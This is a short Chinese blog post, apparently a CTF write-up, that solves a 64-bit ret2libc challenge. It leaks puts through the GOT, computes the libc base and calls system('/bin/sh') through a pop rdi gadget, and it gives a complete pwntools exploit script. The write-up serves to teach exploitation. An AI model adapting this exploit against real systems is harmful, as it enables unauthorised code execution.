64ROP来自一次小比赛题目

这是一道给出libc库的64位简单ret2libc的题目。以前都是没有给出libc库的题目。用LibcSearcher这个工具来做。用已知的libc来做还不是很熟练。下面我们看一下题目,就当将一个例题了。

 

 先检查了一下保护机制,只开了一个NX常规题目。

 

 题目给了一个libc库。我们的思路是,同泄露某个函数地址,计算机偏移来找到system函数的位置,查找"/bin/sh"位置。来执行system('/bin/sh")函数。64位程序函数传参需要寄存器。我们用ROPgadget --binary 文件名 --only "pop|ret" 找到 pop rdi ret这个gadget片段的位置。

from pwn import *
context.log_level = 'debug'
p = process("./64ROP")
elf=ELF("64ROP")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil("*\n")
rdi_ret=0x00000000004007a3
main=0x000000000400708
payload = "a"*(12)+p64(rdi_ret)+p64(elf.got["puts"])+p64(elf.plt['puts'])+p64(main)
p.sendline(payload)
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-libc.sym['puts']
payload = 'a'*12
payload += p64(rdi_ret) + p64(libc.search("/bin/sh\x00").next()) + p64(libc.sym['system'])
p.sendline(payload)
p.interactive()
############

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

者地方需要用 ldd 文件名来找到

 

posted @ 2021-09-19 09:44  Mua_Uncle_W  阅读(130)  评论(0)    收藏  举报